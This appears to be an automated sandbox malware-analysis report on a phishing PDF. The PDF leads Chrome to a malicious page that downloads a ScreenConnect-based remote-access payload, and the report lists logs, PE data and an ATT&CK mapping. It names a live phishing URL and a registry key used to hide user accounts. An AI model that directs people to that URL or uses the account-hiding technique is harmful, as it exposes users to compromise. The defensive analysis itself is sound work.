Source: sets.json.10.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.10.dr	String found in binary or memory: https://top.pl
Source: sets.json.10.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.10.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.10.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.10.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.10.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.10.dr	String found in binary or memory: https://tvid.in
Source: sets.json.10.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.10.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.10.dr	String found in binary or memory: https://unotv.com
Source: sets.json.10.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.10.dr	String found in binary or memory: https://vrt.be
Source: sets.json.10.dr	String found in binary or memory: https://vwo.com
Source: sets.json.10.dr	String found in binary or memory: https://welt.de
Source: sets.json.10.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.10.dr	String found in binary or memory: https://wildix.com
Source: sets.json.10.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.10.dr	String found in binary or memory: https://wingify.com
Source: sets.json.10.dr	String found in binary or memory: https://wordle.at
Source: sets.json.10.dr	String found in binary or memory: https://wp.pl
Source: sets.json.10.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.10.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.10.dr	String found in binary or memory: https://ya.ru
Source: sets.json.10.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://zalo.me
Source: sets.json.10.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.10.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.10.dr	String found in binary or memory: https://zoom.com
Source: sets.json.10.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 61678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53950
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 53950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:53950 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\LICENSE.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\Filtering Rules	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\cr_en-us_500000_index.bin	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\optimization-hints.pb	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\keys.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_8044_248729505

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E

Source: Unconfirmed 323093.crdownload.10.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Unconfirmed 323093.crdownload.10.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Unconfirmed 323093.crdownload.10.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Unconfirmed 323093.crdownload.10.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: Unconfirmed 323093.crdownload.10.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: chromecache_306.11.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: chromecache_306.11.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: chromecache_306.11.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: chromecache_306.11.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: chromecache_306.11.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: Google.Widevine.CDM.dll.10.dr

Static PE information: Number of sections : 12 > 10

Source: c51fa1fd-6187-4443-a7c8-63ca1162fdf1.tmp.10.dr

Static PE information: No import functions for PE file found

Source: c51fa1fd-6187-4443-a7c8-63ca1162fdf1.tmp.10.dr

Static PE information: Data appended to the last section found

Source: classification engine

Classification label: mal64.phis.winPDF@50/90@7/5

Source: 217469812STM.pdf

Initial sample: https://tektors.sa.com/neword/ord.html

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-19 12-19-07-292.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\217469812STM.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,5807399381284603606,5485889827132596324,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://tektors.sa.com/neword/ord.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5588 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,5807399381284603606,5485889827132596324,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5588 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbY/ source: Unconfirmed 323093.crdownload.10.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: Unconfirmed 323093.crdownload.10.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: Unconfirmed 323093.crdownload.10.dr

Source: 217469812STM.pdf	Initial sample: PDF keyword /JS count = 0
Source: 217469812STM.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: 217469812STM.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Unconfirmed 323093.crdownload.10.dr	Static PE information: real checksum: 0x51e17b should be: 0x54208a
Source: c51fa1fd-6187-4443-a7c8-63ca1162fdf1.tmp.10.dr	Static PE information: real checksum: 0x51e17b should be: 0x4faf
Source: chromecache_306.11.dr	Static PE information: real checksum: 0x51e17b should be: 0x54208a

Source: Google.Widevine.CDM.dll.10.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.10.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.10.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.10.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.10.dr	Static PE information: section name: _RDATA

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 306	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\c51fa1fd-6187-4443-a7c8-63ca1162fdf1.tmp	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 323093.crdownload	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 306
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 306			Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\LICENSE.txt

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: Unconfirmed 323093.crdownload.10.dr

String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Yara match	File source: dropped/chromecache_306, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\Unconfirmed 323093.crdownload, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	31 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
